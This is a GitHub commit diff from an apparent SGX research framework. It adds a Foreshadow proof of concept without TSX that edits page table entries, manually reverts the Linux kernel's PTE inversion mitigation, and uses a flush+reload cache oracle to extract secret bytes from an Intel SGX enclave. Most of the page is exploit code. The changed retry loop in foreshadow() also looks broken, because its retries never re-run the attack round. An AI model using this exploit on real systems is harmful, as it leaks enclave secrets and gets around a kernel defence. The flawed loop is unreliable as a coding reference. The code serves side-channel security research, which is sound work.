Skip to content

Commit

Permalink
app/foreshadow: proof-of-concept w/o TSX.
Browse files Browse the repository at this point in the history
Host application needs to manually circumvent Linux kernel
PTE inversion before/after exception.

NOTE: this is a highly unoptimized proof-of-concept, only showcasing the
general concept (and suffering from a low success rate).
  • Loading branch information
jovanbulck committed May 1, 2019
1 parent 2ea29aa commit c43669f
Show file tree
Hide file tree
Showing 2 changed files with 44 additions and 17 deletions.
41 changes: 26 additions & 15 deletions app/foreshadow/main.c
Original file line number Diff line number Diff line change
Expand Up @@ -32,8 +32,9 @@
#include "libsgxstep/foreshadow.h"
#include "libsgxstep/cache.h"

#define USE_TSX 1
#define DUMP_SSA 0
#define ITER_RELOAD 0
#define ITER_RELOAD 1
#define SECRET_BYTES 64 /* read entire cache line */

#define DEBUG_ENCLAVE 1
Expand All @@ -42,20 +43,13 @@
#define ENCLAVE_SO "Enclave/encl.so"
#define ENCLAVE_MODE DEBUG_ENCLAVE

void *secret_ptr = NULL;
void *secret_page = NULL;
void *alias_ptr = NULL;
uint64_t *pte_alias_secret = NULL;

void *ssa_gprsgx = NULL;
void *alias_ssa_gprsgx = NULL;
uint64_t *pte_alias_gprsgx = NULL;
void *secret_ptr = NULL, *secret_page = NULL, *alias_ptr = NULL, *ssa_gprsgx = NULL, *alias_ssa_gprsgx = NULL;
uint64_t *pte_alias = NULL, *pte_alias_gprsgx = NULL;
uint64_t pte_alias_unmapped = 0x0;

gprsgx_region_t shadow_gprsgx = {0x00};

int fault_fired = 0;
int cur_byte = 0;

int fault_fired = 0, cur_byte = 0;
sgx_enclave_id_t eid = 0;

/* ================== ATTACKER IRQ/FAULT HANDLERS ================= */
Expand All @@ -65,6 +59,10 @@ void fault_handler(int signal)
{
fault_fired++;

/* remap enclave page, so abort page semantics apply and execution can continue. */
*pte_alias = MARK_PRESENT(pte_alias_unmapped);
ASSERT( !mprotect( (void*) (((uint64_t) alias_ptr) & ~PFN_MASK), 0x1000, PROT_READ | PROT_WRITE));

#if DUMP_SSA
if ( !(cur_byte = foreshadow_ssa(&shadow_gprsgx, alias_ssa_gprsgx)) )
{
Expand Down Expand Up @@ -95,6 +93,15 @@ void attacker_config_runtime(void)
print_enclave_info();
}

void unmap_alias(void)
{
/* NOTE: we use mprotect so Linux is aware we unmapped the page and
* delivers the exception to our user space handler, but we revert PTE
* inversion mitgation manually afterwards */
ASSERT( !mprotect( (void*) (((uint64_t) alias_ptr) & ~PFN_MASK), 0x1000, PROT_NONE ));
*pte_alias = pte_alias_unmapped;
}

void attacker_config_page_table(void)
{
/* benchmark enclave trigger page and SSA frame addresses */
Expand All @@ -108,9 +115,10 @@ void attacker_config_page_table(void)
print_pte_adrs(secret_ptr);

/* ensure a #PF on trigger accesses through the *alias* mapping */
ASSERT( pte_alias_secret = remap_page_table_level( alias_ptr, PTE) );
*pte_alias_secret = MARK_NOT_PRESENT(*pte_alias_secret);
print_pte(pte_alias_secret);
ASSERT( pte_alias = remap_page_table_level( alias_ptr, PTE) );
pte_alias_unmapped = MARK_NOT_PRESENT(*pte_alias);
unmap_alias();
print_pte(pte_alias);

#if DUMP_SSA
ssa_gprsgx = get_enclave_ssa_gprsgx_adrs();
Expand Down Expand Up @@ -157,6 +165,9 @@ int main( int argc, char **argv )
info("extracting secret from L1 cache..");
for (i=0; i < SECRET_BYTES; i++)
{
#if !USE_TSX
unmap_alias();
#endif
#if ITER_RELOAD
SGX_ASSERT( enclave_reload( eid, secret_ptr ) );
#endif
Expand Down
20 changes: 18 additions & 2 deletions libsgxstep/foreshadow.c
Original file line number Diff line number Diff line change
Expand Up @@ -30,6 +30,7 @@
#include <sys/stat.h>
#include <string.h>

#define USE_TSX 1
#define SLOT_SIZE 0x1000
#define NUM_SLOTS 256
#define ORACLE_SIZE (SLOT_SIZE * NUM_SLOTS)
Expand Down Expand Up @@ -58,6 +59,7 @@ static inline int __attribute__((always_inline)) foreshadow_round(void *adrs)
void *slot_ptr;
int i, fault_fired = 0;

#if USE_TSX
/*
* NOTE: doing the speculative, secret-dependent access a single time and
* then flush+reloading all 256 oracle entries at once seems to give
Expand All @@ -81,6 +83,20 @@ static inline int __attribute__((always_inline)) foreshadow_round(void *adrs)
if (reload( slot_ptr ) < fs_reload_threshold)
return i;
}
#else
for (i=0; i < NUM_SLOTS; i++)
flush( SLOT_OFFSET( fs_oracle, i ) );

/*
* NOTE: proof-of-concept only: calling application should catch exception
* and properly restore access rights.
*/
transient_access(fs_oracle, adrs, SLOT_SIZE);

for (i=0; i < NUM_SLOTS; i++)
if (reload( SLOT_OFFSET( fs_oracle, i ) ) < fs_reload_threshold)
return i;
#endif

return 0;
}
Expand All @@ -93,8 +109,8 @@ int foreshadow(void *adrs)
foreshadow_init();

/* Be sceptic about 0x00 bytes to compensate for the bias */
for(j=0; !(rv = foreshadow_round(adrs)) &&
j < FORESHADOW_ZERO_RETRIES; j++, fs_zero_retries++);
for(j=0; (rv==0x00 || rv==0xff) && j < FORESHADOW_ZERO_RETRIES; j++, fs_zero_retries++);
rv = foreshadow_round(adrs);

return rv;
}
Expand Down

0 comments on commit c43669f

Please sign in to comment.